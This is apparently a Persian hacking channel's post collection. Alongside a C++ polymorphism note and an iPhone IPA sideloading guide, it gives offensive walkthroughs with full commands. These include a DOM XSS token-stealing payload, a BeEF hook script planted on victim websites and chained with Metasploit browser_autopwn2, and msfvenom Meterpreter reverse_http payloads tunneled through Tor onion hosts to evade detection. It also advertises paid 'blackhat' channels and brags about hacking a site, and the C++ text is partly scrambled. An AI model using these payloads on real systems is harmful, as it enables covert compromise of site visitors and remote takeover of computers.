ساختیم person از روی کلاس Pointer ها در خروجی چاپ میشوند؟ اگر دقت کنید ما یک Object اما چگونه تمام به دلیل Pointer هارو تعریف کرده است, تعریف Object هستش و درون خودش تمام Array از نوع Pointer که این تعریف شده با این حال ما با protected دسترسی نداریم چرا که از نوع person است که ما به محتویات کلاس امکان این رو پیدا میکنیم که دسترسی مورد نیاز به کلاس رو پیدا کنیم Refrence Variable و Pointer استفاده از این همان نکته ای بود که در مثال های بالا عرض کردم, حالا ما برای اینکه بتونیم نام و رشته متنی توابع کلاس هارو رو با سقف عدد 5 ساخته و درون حلقه اومدیم for کمک گرفتیم بنابراین حلقه for به نمایش در بیاوریم از یک حلقه index خودمون رو درون for حلقه i رو صدا زده و متغییر getName تابع person که تعریف کردیم از کلاس Pointer تغییر میکند for ارسال شود با استفاده از getName قرار است به تابع index خودمون قرار دادیم بدین ترتیب Pointer هم بکار بردیم و نهایتا خروجی زیر به دست آمده است location همین روش رو برای تابع

```
Docky Is In The ###### Mostafa Is In The ###### Silver Is In The ###### Farhad Is In The Others r00t98 Is In The Others Press any key to continue . . .
```
همونطور که مشاهده میکنید با Object هایی که به Pointer ما توانستیم توابع مورد نظر خودمون رو با استفاده از Polymorphism استفاده از مفهوم DataType اولین نکته این است که تمام Polymorphism کلاس ها اشاره دارد بسازیم, اما چند نکته در خصوص کار نخواهد کرد نکته بعدی اینه که ایراد یابی ویژگی Polymorphism های مقدار بازگشتی اگر یکی نباشد override میبایست از کلمه کلیدی Polymorphism وجود ندارد و برای ایراد یابی Compile توسط Polymorphism آن Object بعد پرانتز بسته تابع وارد کنید اگر خط قرمزی زیر توابع کلاس ها دیده شد به معنی ایراد در ارتباط با رو ایراد یابی کرد Polymorphism کلاس هست بدین ترتیب میشود با این کار مفهوم

`class student :public person { public: student(string m):person(m) {} string location(int x) override { return "######"; } };` اما کلام آخر برخی دوستان پیام دادند که چرا مباحث کانال رو بصورت PDF در نمی آوریم در جواب باید بگم که تکامل مباحث فعلا به حدی که ما مد نظر داریم نرسیده است که بشود به عنوان PDF منتشر کرد لذا در آینده در خصوص هر موضوعی که به تکامل تحقیقاتی رسیدیم حتما PDF یک مقاله معتبر خواهیم کرد که خواننده از سطح مقاله لذت برده و مورد استفادش قرار بگیرد.

:warning: علوم سایبری یعنی مطالعه چند صد کتاب, بله بدون اغراق بالای صد کتاب و مقاله رو می طلبه, در نتیجه کسانی که توان خواندن دو صفحه پست مفید و خلاصه شده چند مقاله رو ندارند به نظر بنده به دنیای سایبری ورود نکنند...

https://fa.wikipedia.org/wiki/چندریختی_(برنامه‌نویسی)

-

#IPA OTA (Over-The-Air)

OTA Deployment بر روی گوشی های آیفون با استفاده از متود ipa با سلام در این پست در خصوص نصب فایل میتونه باشه که در پست های IPA صحبت خواهیم کرد, این پست زمینه ای در خصوص تزریق پایلود به فایل فرمت آتی به آن موضوع هم خواهیم پرداخت.

#Author: @Root_SELinux

متود OTA برای شما اجازه نصب فایل های ipa از طریق HTTPS بر روی دستگاه های آیفون را فراهم می کند برای درخواست نصب صادر شود. از طریق آپلود بر روی HTTPs استفاده از این روش باید حتما از طریق یک صفحه وبسایت و یا سرویس ngrok امکان پذیر است.

1- دانلود فایل `ipa.` 2- آپلود `ipa.` بر روی وبسایت و یا لوکال هاست برای استفاده از
3- ساخت فایل `plist.` مخصوص فایل `ipa.` فایل `plist.` باید به این شکل باشد:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/Prope
rtyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>items</key>
    <array>
        <dict>
            <key>assets</key>
            <array>
                <dict>
                    <key>kind</key>
                    <string>software-package</string>
                    <key>url</key>
                    <string>
```

https://123f44.ngrok.io/application/your_app.ipa

```
</string>
                </dict>
            </array>
            <key>metadata</key>
```

```
            <dict>
                <key>bundle-identifier</key>
                <string>
```

com.######.helloworld

```
</string>
                <key>bundle-version</key>
                <string>
```

1.0.0

```
</string>
                <key>kind</key>
                <string>software</string>
                <key>title</key>
                <string>
```

######

```
</string>
            </dict>
        </dict>
    </array>
</dict>
</plist>
```

تغییر داده و `zip.`را به `ipa.`مقادیر مشخص شده برای هر فایل متغیر می باشد برای بدست آوردن اطلاعات، فایل وجود دارد که اطلاعات مشخص شده درون اون فایل plist یک فایل یا پسوند `ipa.`اکسترکت کنید درون هر فایل موجود است ما نیاز به اسم برنامه ، ورژن و نام پکیج داریم که داخل فایل موجود است

`plist.`فایل آپلود کرده و به این شکل وارد کنید HTTPS ساخته شده را بر روی وبسایت دارای پروتکل:

```
<a href="itms-services://?action=download-manifest&amp;
url=https://123f44.ngrok.io/application/your_app.plist"> Download </a>
```

برای استفاده از سرویس ngrok سرویس ngrok و apache را استارت کرده:

```
sudo service apache2 start
./ngrok http 80
```

استفاده کنن بعد از نصب، فایل ها را در مسیر زیر ذخیره کنید xampp کاربران ویندوز هم می توانند از برنامه:

```
C:\xampp\htdocs
```

`plist.`فایل ساخته شده را در لوکال دایرکتوری ذخیره کرده و این آدرس را در مرورگر آیفن وارد کنید در انتهای `ngrok`آدرس، آدرس `plist.`و فایل خود را قرار دهید:

`itms-services://?action=download-manifest&url=`**https:/123f44.ngrok.io/######.plist**

بعد از وارد کردن آدرس بالا درخواست نصب به کاربر داده می شود و پروسه نصب آغاز می شود.
در پست های بعد آموزش داده می شود ipa روش ادیت و اینجکت فایل های.

#Author: @Root_SELinux

https://en.wikipedia.org/wiki/.ipa
-
#Game for Hackers
برخی از دوستان در خصوص مداومت در تحقیقات سوالاتی میکنند که توان و کشش بسیاری رو میطلبه چگونه کرده و به نوعی تجدید قوای فکری کرد, در این خصوص راه حل بسیار جذابی وجود داره stable میشه این کشش رو ..., به نام بازی های رایانه ای که در این خصوص میتونند بسیار کار آمد باشند
-
شاید براتون خنده دار باشه اما بله این یک واقعیت هستش که بازی کردن در علوم سایبری میتونه توان یک شخص رو بالا ببره و هر شخصی که به نحوی با رایانه سر و کار داره اغلب به سمت این بازی ها رفته که این موضوع هم سن سال نمیشناسه اما در این خصوص روش های کم هزینه ای رو برایتون پیشنهاد میکنم تا کمی در دنیای بازی ها راحت تر و روان تر وارد بشید اما قبل از توضیحات روش ها میخوام کمی در خصوص این بازی ها صحبت داشته باشم,

بازی های رایانه ای بسیاری در دنیا وجود داره که برخی هاش به دلیل نوستالژی بودنشون محبوب هستند برخی هستش Word of Warcraft بخاطر پیچیده بودنشون, یکی از این بازی های پیچیده که رده سنی هم نمیشناسه که یک بازی مپ باز هستش و بسان یک دنیا برای شما ویژگی های جدید داره رده سنی این بازی به بیش از 30 سال هم میرسه بنده خودم تجربه این بازی رو داشتم و متاسفانه در این بازی به دلیل هماهنگی های جمعی که های اول دنیا رو از آن خودشون کنند در عوض ژاپنی ها Achivement های ایرانی نمیتونستند Guild می طلبید میکردند یک نمونه از دمو کار Kill های این بازی رو برای اولین بار در دنیا با موفقیت Boss بسیار هماهنگ و حرفه ای تیمیشون رو اینجا میتونید ببینید

https://www.youtube.com/watch?v=Ez1pRo1sywY

این بازی هستش که البته امروز که این پست رو مینویسم ورژن 7.3 این patch 4.3 های boss این دمو برای یکی از شده که میتونید در لینک زیر ورژن جدید رو مشاهده کنید realase بازی هم

https://worldofwarcraft.com/en-us/battle-for-azeroth

های این بازی رو Patch های تمام CD-Key بودنش شما میبایست Online اما این بازی هزینه بر هست به دلیل GameCard خریداری کنید که با این وضع دلار مبلغ بالایی میشه همچنین هر دو ماه یک بار هم شما نیاز به خرید هارو خرید CD-Key دارید که اون هم هزینه خودش رو داره اگر طالب این بازی هنوز هستید به از سایت زیر میتونید نمایید

CD-KEY: http://www.gamershop.ir/index.php?dispatch=products.view&product_id=245

GameCard: http://www.gamershop.ir/index.php?dispatch=products.view&product_id=247

اما اگر میخواهید بصورت مجانی این بازی رو تجربه کنید میتونید به سرورهای ایرانی این بازی مراجعه کنید که میباشد wowzone مجانی هم هستند یکی از قدیمیترین این سرورها,

http://wzone.ir

داره با نام Realm بخش اروپا این بازی یک Blizzard ثبت نام کنید و لذت ببرید درضمن در سرور اصلی این بازی یعنی مپ Warcraft III تجمع دارند:) اما دو بازی دیگری که میخوام معرفی کنم بازی Realm ایرانی ها در این Kazzak میشود بازی کرد خب بازی Online هست و بازی محبوب کانتر که اون هم بصورت Online بصورت Dota Warcraft III شما برای بازی کردن Online داره که بسیار محبوب هست و اون رو در تمام دنیا بازی میکنند بصورت Dota یک مپ این بازی نیاز دارید که اول از لینک زیر دانلود کرده و نصب کنید

https://www.warcraft-fans.ir/games/warcraft-3-classic/warcraft-3-download

کنید در لینک زیر آموزش داده شده Patch بعد از نصب بازی رو

https://www.warcraft-fans.ir/games/warcraft-3-classic/warcraft-3-patch-127b-127a-126a-switcher-download

بازی رو نصب و وارد شبکه این بازی شوید در سایت زیر لینک دانلود و Game Server میبایست Patch بعد از نصب آموزش ثبت نام موجود هست

https://gaming-tools.com/warcraft-3/rgc-download/

این بازی Counter Strike بازی رو زده و لذت ببرید اما بریم سراغ بازی start بعد از وارد شدن کشور ایران رو انتخاب و خودش در ایران سرور آنلاین داره و شما میتونید با هم وطن های ایرانی خودتون کانتر بازی کنید Patch 1.6 بر روی رو بر روی سیستم خودتون AntiCheat کنید و بعد نرم افزار Patch برای اینکار اول خود بازی رو نصب و بعد بازی رو نصب و اجرا کنید و وارد بازی شوید من لینک دانلود بازی و برنامه مورد نیاز رو براتون قرار میدم

https://www.sarzamindownload.com/1549/

که این گزینه مخصوص کانتر بازان حرفه ای میباشد Rating 100 به FPS طریقه بالا بردن

https://csgopedia.com/how-to-increase-fps-in-cs-go/#mce-head-1

در سایت بالا راهنمای نصب و آی پی سرورهای آنلاین این بازی موجوده که میتونید وارد سرور ها شده و برای ساعاتی بازی کنید و لذت ببرید در آخر باید بگم بازی دیگری هم هستش که امروزه بسیار مورد توجه قرار گرفته به بازی میشه که من لینک وبسایت بازی رو Online هستش و بصورت CD-Key که این بازی هم دارای Pubg نام براتون قرار میدم

https://download.ir/دانلود-بازی-playerunknowns-battlegrounds-pc/

خرید SteamCard بازی در لینک زیر

http://iranpubg.com/product/pubg-steam-gift/

نکته آخر اینکه سعی کنید هفته ای یک روز کامل رو بازی کنید و ا روز کامل رو استراحت بدین صورت در فضای تحقیقاتی کم نخواهید آورد...

#DOM Based XSS & #Persistence Payloads

نگاهی خواهیم انداخت و سعی بر تشریح XSS در این پست بصورت دقیق به یکی از انواع حالات آسیب پذیری نکاتی خواهیم کرد که تا حالا گفته نشده است, و در خصوص بهترین روش های پایلود ریزی آن هم نکاتی خواهیم گفت...

این آسیب پذیری در هر برنامه ی تحت وبی که از ورودی های کاربر در خروجی بدون اعتبارسنجی یا کدگذاری استفاده می کند، وجود دارد, و هکر با استفاده از فضای ایجاد شده و تزریق اسکریپت مخرب خودش میتونه به سمت کاربر اسکریپتی رو ارسال و به اجرا در بیاره در زمان قدیم تنها راه مقابله با این مدل حمله استفاده از پلاگین visit بود که به کاربرها امکان اینو میداد از اجرای هر اسکریپتی بر روی وبسایت NoScript نصبی مرورگرها به نام شده جلوگیری کنند اما کارهایی که با استفاده از این آسیب پذیری میتوان انجام داد چیست؟ اول از همه این آسیب session پذیری قدرت تغییر محتوای یک صفحه رو به هکر میده دومین بهره برداری دزدیدن کوکی ها, نشست ها و یا Document Object یا DOM ها هستش که به وسیله اسکریپتها صورت میگیره اما ملموسترین نوع این آسیب پذیری ها در خصوص دریافت اطلاعاتی استفاده میکنه Object هستش به این معنی که زمانی که یک وبسایت از Model هارو به کار گرفته درست فیلترینگ هارو برنامه نویسی نکنه اینجا هکر میتونه پایلودی Object اما الگوریتمی که این ارسال و توابع خودش رو تزریق کنه اکی Object رو به همون

تشکلیل شده و Property و یک Method از یک DOM کمی توضیح نیازه داده بشه, هر DOM اما در خصوص مکانیزم یا داده شده عمل کنه برای مثال Set یا گرفته شده باشه یا یک مقدار Get میتونه یک مقداره Property یک DOM در هستش Property یک نوع p تغییر محتوایت یک تگ

```
http://website/search?keyword=default <!doctype html> <html> You searched for:
<em>default</em> <script> var keyword = location.search.substring(6);
document.querySelector("em").innerHTML = keyword; </script> </html>
```

ها Method در حالی که در کد بالا برای مثال یک , html کارهایی هستند که ما میتونیم انجام بدیم مانند پیدا کردن افزودن و حذف یک تگ Method querySelector و Object document ارسال میشه که با استفاده از ورودی از سمت سرور برای تگ هست رو بر روی صفحه اعمال کنیم اما اگر مقدار ارسالی default ما مامور پیدا کردن آن کلمه ورودی که در اینجا کنترل نشده این موضوع میتونه مورد سوءاستفاده هکر قرار بگیره به تزریق زیر دقت کنید

```
http://website/search?keyword=<script>alert("######")</script> <!doctype html> <html> You
searched for: <em><script>alert("######")</script></em> <script> var keyword =
location.search.substring(6); document.querySelector("em").innerHTML = keyword; </script>
</html>
```

قرار میگیره به innerHTML در اینجا میبینیم که پارامتر ورودی یک پایلود پنتست قرار گرفته و زمانی که در شناخته خواهد شد اولین Persistence اجرا درمیاد خب حالا بریم سراغ روش های سوءاستفاده سطح بالا که با نام سایت قربانی هستش برای ارسال یک درخواست uid و Token نوع سوءاستفاده میتونه در قالب دزدیدن مقادیر که این مقادیر به هکر ارسال میشود نمونه ای از این پایلود ها رو میتونید در کد زیر مشاهده کنید CSRF

```
<script> var request = new XMLHttpRequest(); request.onreadystatechange = function() { if
(request.readyState == XMLHttpRequest.DONE && request.status == 200) {
document.getElementById("result").innerHTML = request.responseText; } } token =
document.getElementById("csrf").innerHTML.split(":")[1] uid =
document.getElementById("uid").innerHTML.split(":")[1] request.open("GET",
"/lab/webapp/jfp/17/email?uid="+uid+"&csrf_token="+token, true) request.send(); </script>
```

اما

هستش که BeEF XSS این آسیب پذیری بهترین روش و فریمورک این موضوع ابزار Payload Persistence در خصوص ما در ادامه چگونگی استفاده این ابزار بر روی قربانی هارو تشریح میکنیم

داریم که ما میبایست برای WAN خب اولین موضوع در این خصوص اینه که ما نیاز به کانفیگ این ابزار برای شبکه Port Forwarding دریافت کنیم چرا که به کمک این برنامه ما میتونیم درخواست Ngrok از سرویس DNS اینکار یک DNS که بر روی پورت 3000 هست رو حل کنیم اما نکته دوم این کار اینه که ما بتونیم بر روی یک BeEF فریمورک هکر جلوگیری بشه و همچنین امکان استفاده این فریم ورک بر روی IP موقتی سرویس رو بالا بیاریم تا از لو رفتن APP محیا بشه اما برای پیاده سازی این تکنیک من انتخابم سیستم عامل ویندوز هست یعنی بر روی WAN شبکه ویندوز 10 وجود داره کار رو پیاده سازی خواهیم کرد, پس در مرحله اول ما اپ رو دانلود Store که بر روی Kali Linux میکنیم و بعد از نصب و تنظیم اپ دستور زیر رو وارد میکنیم

Open cmd
1.`ngrok http 3000` Copy (NgrokID) (NgrokPort)

Open KaliApp
Install BeEF 0.4.7.1-alpha
2.`wget http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.mmdb.gz;gunzip GeoLite2-City.mmdb.gz;mkdir /opt/GeoIP;mv GeoLite2-City.mmdb /opt/GeoIP;apt-get update;apt-get install -y tor proxychains apache2 metasploit-framework ruby ruby-dev beef-xss;geoipupdate;service tor start;wget https://raw.githubusercontent.com/beefproject/beef/master/install;chmod +x install;./install` # Config BeEF
3.`sed -i '54s/.*/ public: "`(NgrokID)`.ngrok.io" # public hostname\/IP address/' /usr/share/beef-xss/config.yaml;sed -i '55s/.*/ public_port: "80" # public port (experimental)/' /usr/share/beef-xss/config.yaml;sed -i '21s/.*/ passwd: "0098"/' /usr/share/beef-xss/config.yaml;sed -i '21s/.*/ passwd: "0098"/' /etc/beef-xss/config.yaml;cd /usr/share/beef-xss/;./beef` **Persistence PAYLOAD**
`"><script src="http://`(NgrokID)`.ngrok.io/hook.js"></script>` # AutoPwn2 Module
4.`msfconsole -q -x "use auxiliary/server/browser_autopwn2;run -z"` Copy (BrowserAutoPwn URL):
http://10.1.1.175:8080/5WNrYZjr

BeEF Panel
go Module > "Create Invisible Iframe" > autopwn > Paste (BrowserAutoPwn URL) > Execute

داده شده رو کپی میکنیم در خط دوم برنامه ID فعال میکنیم و cmd بر روی Ngrok از برنامه DNS در خط اول یک رو تنظیم BeEF کالی لینوکس دانلود و نصب میشه, در خط سوم ما ابزار App بر روی Metasploit و Apach2 و BeEF بزنید اما در قسمت Enter رو قرار بدید و یک Ngrok آیدی داده شده (NgrokID) میکنیم فقط کافیه که شما در فیلد رو بر روی وبسات قربانی صدا میزنیم تا کسانی که وبسایت قربانی رو میبینند BeEF پایلود، ما پایلود Persistence این پایلود بر روی مرورگر اونها به اجرا دربیاد,

اما بعد از گرفتن دسترسی از مرورگر قربانی چه کاری میتوانیم انجام بدیم؟ یکی از این کارها اینه که از ماژولی با نام ثبت شده رو Metasploit استفاده کنیم و مجموع اکسپلویت هایی که برای مرورگرها در برنامه browser_autopwn2 نسبت به سیستم عامل قربانی ها به اجرا در آورده و در صورت داشتن آسیب پذیری سیستم های کاربران آن وبسایت رو هک کنیم خب اینکار در خط چهارم انجام شده و لینک حاصله بدست آمده ما میتونیم لینک رو کپی کنیم

وجود داره لینک خودمون رو صدا زده و اکسپلویت هارو BeEF که در ابزار Create Invisible Iframe و با ماژولی با نام قعال کنیم که بعد از خط چهارم مراحل رو توضیح دادم همونطور که در تصویر پست مشاهده میکنید این عملیات با خودتون قرار XSS رو میتونید جزو حملات Payload Persistence موفقیت انجام شده پس در خصوص این روش بدهید...

https://portswigger.net/blog/exploiting-xss-in-post-requests
#Private Channels
در این پست در خصوص شرایط جدید ورود به چنل های خصوصی توضیحاتی خواهیم داد همچنین نکاتی در مورد چگونگی پشتیبانی اطلاعاتی کانال ها در خصوص روند سرفصل های نقشه راه بلک هت ذکر شده در همین کانال رو هم عرض خواهیم کرد و سر آخر هم به سوالاتی متعددی که در این موضوع شده پاسخ خواهیم داد.

:white_check_mark: نکته اول ما در خصوص روش های پشرفت در علوم سایبری ایتم های بسیاری داریم مانند دانشگاه, دوره های خصوصی, کتاب و غیره... اما در خصوص این روش ها ,چیزی که تجربه دنیای سایبری ثابت کرده اینه که به دلیل اهمیت بروز بودن شخص امنیت کار در علوم سایبری ما یکجاهایی حتی این روش هایی که ذکر کردم هم نمیتونه شخص رو به کار آمدی چشم گیری برسونه , اما از دانشگاه که بگذریم و نگاهی به آموزشگاه هایی که در این حوزه تدریس میکنند داشته باشیم خواهیم دید که ,ایراد کار این آموزشگاه این است که اولا طبق استانداردهای مطرح شده از مراجعه سایبری دنیا سرفصل بندی نمیکنند و دوم اینکه کیفیت آموزش ها هم بسیار ضعیف است ,برای اثبات این حرف میتوانید سرفصل های آموزشی Exploit Development دوتا از مراجعه معتبر دنیا رو با سرفصل های آموزشی آموزشگاه های ایرانی مقایسه کنید,

https://www.corelan-training.com/index.php/training/advanced/
https://www.sans.org/course/advanced-exploit-development-penetration-testers

:white_check_mark: هم به این صورت هست ؟ خیر برای اینکه در دنیای سایبری ###### آیا مسیر پیشرفت مباحث به حدی حجیم و پیچیده شده اند که بعضا هر حوزه از علوم سایبری سال ها زمان نیاز داره مثلا حوزه طراحی اکسپلویت و کشف آسیب پذیری میانگین زمانی بین 5 تا 7 سال رو طلب میکنه و باز به همین دلیل حجیم دستیابند چرا که اکتشافات Pro بودن اطلاعات افراد محقق با گذراندن دوره ای خاص نمیتوانند به سطح کار آمدی و کتاب شود معمولا 5 سال پس ظهور اتفاق می افتد به همین خاطر دانشگاه با فلان Document جدید تا بخواهد دوره شمارو تا یک مسیری همراهی و کمک میکنند اصل مسیر تحقیقات فردی خود شما میباشد, اما چگونه تلاش فردی صورت میگیرد؟ جواب دو گزینه میباشد یک نقشه راه دقیق دوم منابع اطلاعاتی آن نقشه راه...

:white_check_mark: اکی ما برای این موضوع چه راهکارهایی داریم؟ به دلیل اینکه این موضوع بسیار وابسته به تجربه فردی میباشد افراد بسیار در تشخیص نقشه راه درست و بدست آوردن منابع مناسب دچار اشتباه میشوند یعنی برای اینکه ما بدانیم نقشه راه مثلا طراحی اکسپلویت به گونه ای که میتواند مارو به سطوح بالای این بحث برساند چه کتاب ها رفرنس ها و حتی در صورت موجود بودن پکیج آموزشی چه پکیج هایی میتونه باشه حتمی میبایست از کسانی که در این حوزه موفق بودن مشاوره دریافت کنیم, خب با این تفاسیر اهمیت نقشه راه و تجربه دقیقا همینجاست ###### بسیار موضوع مهمی میتونه باشه, خب نقطه ورود

:trident: در خصوص نقش راه درست و منابع مناسب سرفصل ها از تمام پتانسیل موجود بر روی ###### تیم منابع_دقیق# کمک_تجربی#اینترنت استفاده و بهترین ها را در این خصوص برای شما محیا میکند ما برای شما را محیا کرده ایم و این فضا را با دقت مدیریت کرده تا هم منجرب کار آمدی شود و هم فضای_تحقیقاتی_سالم# مورد نیاز گرد آوری شده است پکیج_های#و ابزار_ها# کتاب_ها#سلامت اخلاقی آن حفظ شود, منابع ما بصورت همراه با فضای خصوصی تحقیقاتی برای کمک و انتقال تجربه به افراد عضو میباشد, تمامی اطلاعات حول محور گردآوردی و تولید میشود, به لینک زیر مراجعه و از سرفصل های نقشه راه مطلع شوید نقشه_راه_بلکهت#,

######/######/447

:warning: اما در خصوص شرایط عضویت در کانال های خصوصی برای استفاده از پتانسیل هایی که بالا ذکر کردم
حق عضویت دائمی صد_هزار_تومان#به چه صورت هست؟ با استفاده از ربات زیر افراد میتوانند با پرداخت مبلغ
و مراحل ها را Start مراجعه و ربات را ######@دریافت کنند و به جمع ما به پیوندند برای اینکار به آیدی ربات
تکمیل و حق عضویت را پرداخت کنید, بعد از بررسی ادمین ربات لینک کانال ها برای شما ارسال خواهد شد
میباشد داده خواهد شد چرا (Team Speak) که مخصوص ارتباط کلامی جمعی Discord#همچنین لینکی از برنامه
که سه شنبه شب ها از ساعت 21 الی 24 ما هر هفته جلسات پرسش و پاسخ خواهیم داشت و افراد میتوانند از
این فضا هم بهره برده و مشکلات خود را مطرح نمایند لینک دانلود برنامه را میتوانید در پایین پست مشاهده کنید.

:warning: از افرادی که درخواست عضویت در کانال های خصوصی را دارند Contact اما در خصوص چرایی دریافت
ها را ثبت میکنیم ,اما در خصوص حفظ Contact این میباشد که برای مدیریت عضویت کاربرها و شناس بودن آنها ما
حریم اطلاعات شخصی افراد برای ما جدی هست و در طی این سالها ما حتی یک مورد سوءاستفاده از این
اطلاعات رو نداشتیم, همچنین این اطلاعات در اختیار هیچکس جز ادمین اصلی نخواهد بود.

https://discordapp.com/download

-

www.sans.org

Advanced Exploit Dev Training | Penetration Testing | SANS SEC760

Learn advanced exploit development for penetration testing through rigorous course content and demanding, hands-on labs in SANS's most advanced training course.

#Hooking BeEF on LAN & OOB Meterpreter to Win & BypassAVs

شبکه و به واسطه اون گرفتن دسترسی مرورگر traffic دمو در خصوص چگونگی حمله از بشتر تزریق اسکریپت به
و انجام حمله بر روی خود سیستم عامل برای دسترسی از آن, این دمو مربوط به ۳ سال پیش است اما دیدنش
خالی از لطف نیست :)

-

#Bind Payload on JPG & BypassAVs & Sniff WAN Https on Netripper

همچنین بایپس آنتی ویروس و بالا بردن JPG دمویی در خصوص ترکیب کردن پایلود متاسپلویت به فایل فرمت
قربانی. این دمو هم مربوط به 3 سال پیش Https دسترسی و شنود ترافیک مرورگر قربانی حتی بر روی پروتکل
میباشد...

#Bruteforce Panel Admin

که در این Burpsuite بر روی پنل ادمین ها با ابزار Dictionary Attackو Bruteforce در این دمو روش های حملات
دمو برای مثال بر روی پنل بانک ملی انجام شده رو خواهیم دید, این دمو برای 3 سال پیش میباشد...

-

#MeterpreTor with Onions LeftHost

صحبت خواهیم کرد و Onion و معرفی دامنه های Tor در این پست در خصوص گرفتن دسترسی از طریقه شبکه
Meterpreter رو توضیح داده و به واسطه همین موضوع دسترسی DNS Onion چگونگی کانفیگ و دریافت یک
رو فراهم خواهیم کرد.البته این موضوع دارای دو روش هستش که در این پست به روش ساده MEtasploit فریمورک
تر خواهیم پرداخت...

اول از حمله میبایست به برخی نکات اشاره ای داشته باشم, اولین نکته اینه که ما به دو روش میتونیم اینکار رو
وجود دارند و سرویس دهی میکنند مثل Net های معروف که امروزه در بستر Tunnel انجام بدیم یکی استفاده از

که نمونه ای از عملکردش رو در دامنه زیر میتونید مشاهده کنید onion.pet,
Host میتونید باز کنید و ببینید که چطور این Google Chrome و Firefox دامنه بالا رو بر روی مرورگرهای معمول مثل مهاجرت داده و وبسایتی که در اون شبکه در Tor شمارو از بستر شبکه معمول اینترنت به شبکه زیرین Proxy های این مدلی میتونیم مستقیما Tunneling میکنه خب پس ما با استفاده از View معرض دید هست رو برای شما بالا آمدند ارسال کنیم ,خب اما نکته بعدی هر دوی DarkNet که بر بستر Onion رو برای دامنه های Connection یک بر DNS این روش هایی که عرض کردم یک ایراد بزرگ رو با خودشون دارند اون هم اینکه حتمی نیاز دارند که یک یا به تعبیر برخی DarkNet بشه برای ارتباط با شبکه Host Proxy تعریف بشه براشون و WAN بستر شبکه هست و بر روی سیستم WAN به این دلیل که قربانی بر بستر شبکه Host Proxy چرا نیازه به این...Deepweb کنه که البته این Ping شمارو بصورت مستقیم ببینه و Onion فعال نیست که بتونه دامنه Tor عامل اون سرویس داره برای حل کردنش که فعلا وارد اون بحث نمیشیم اما بریم سراغ پیاده سازی روش اول Private موضوع یک روش ها Tunneling یعنی استفاده از

dns رو نتظیم کرده برای دریافت یک tor رو بر روی سیستم عامل کالی نصب کرده و سرویس tor در مرحله اول ما کالی لینوکس که برای Application و لیست کردن اون دامنه بر روی پورت مورد نظر ما, برای اینکار من از onion ویندوز 10 ساخته شده استفاده میکنم همونطور که در تصویر پست مشاهده میکنید

Open AppKali
root-~# `apt-get install -y socat tor python python3 metasploit-framework` در این قسمت من tools هایی که در این خصوص نیازه رو نصب میکنم

Config torrc (PORT:8080)
root-~# `sed -i '71s#.*#HiddenServiceDir /var/lib/tor/hidden_service/#' /etc/tor/torrc;sed -i '72s#.*#HiddenServicePort 80 127.0.0.1:8080#' /etc/tor/torrc` رو torrc در این قسمت من فایل کانفیگ های دامنه قرار میدم reverse تنظیم کرده و پورت 8080 رو پورت دریافت کننده

Create Hostname
root-~# `mkdir /var/lib/tor/hidden_service;echo "675ztniqv2huo4yd.onion" > /var/lib/tor/hidden_service/hostname;touch /var/lib/tor/hidden_service/private_key;chown debian-tor:debian-tor /var/lib/tor/hidden_service/;chmod 0700 /var/lib/tor/hidden_service/;/etc/init.d/tor restart` اما در این قسمت من یک فولدر که مورد نیاز که بر روی hostname و private_key هست رو ساخته و درونش دوتا فایل با نام های onion پیکربندی دریافت دامنه خودش دامنه رو عوض میکنه و نام دامنه مدنظر tor قرار میدم که البته بعد از راه اندازی random یک نام hostname میکنیم تا فعال restart رو tor فولدر رو تنظیم کرده و سرویس permission خودش رو به شما میده اما در ادامه ما بشه یک نکته بنده این مراحل رو تست کردم پس مشکلی نداره اگر به مشکل خوردید یک جای کارتون مورد داشته مطرح کنید اما ادامه کار public که میتونید توی گپ

Cat Hostname Generated
root-~# `cat /var/lib/tor/hidden_service/hostname`
میکنیم تا ببینیم چه دامنه ای رو به ما داده برای مثال به بنده دامنه بالا رو داده cat دامنه رو

Create Payload
root-~# `msfvenom --platform windows --arch x86 -p windows/meterpreter/reverse_http LHOST=pssuma33qir2qjv3iklqkd4g74ykypis5ku4pfet675ztniqv2huo4yd.onion.pet LPORT=80 -e x86/shikata_ga_nai -i 3 -f exe -o ######.exe` اضافه میکنید تا دامنه ما pet. خب به انتهای دامنه یک کلمه

protocol دیده بشه برای قربانی پروتکل هم 80 قراردادیم چراکه بر روی این onion.pet از طریق Host Proxy سرویس دهنده host proxy به ما سرویس میده

root-~# `msfconsole -q -x "use multi/handler;set PAYLOAD windows/meterpreter/reverse_http;set LHOST 127.0.0.1;set LPORT 8080;set EnableStageEncoding true;exploit -j"` اما سر آخر ما بر روی پورت 8080 metasploit فریمورک پورت معرفی شده torrc رو بر روی لیستینگ قرار میدیم چرا که بر روی فایل پیکربندی 8080 بوده خب حالا همه چیز امادس که شما پایلود رو بر روی سیستم عامل قربانی به اجرا در بیارد اما نکته آخر دسترسی برخی دیوایس های Destination نداره و میتونه به دلیل مبهم شدن port forwarding این روش نیازی به بر بستر شبکه رو بایپس کنه detector...

https://torflow.uncharted.software
#portaltvto.com Hacked
برخی سازمان های کشور با داشتن دیتابیس های میلیونی و علمی بودن سازمانشان البته در ظاهر چطور جرات میکنند و اینطور وبسایت خودشون رو در معرض آسیب پذیری قرار میدهند؟ حداقل اسمش رو عوض کنید, بزارید سازمان نه فنی نه حرفه ای...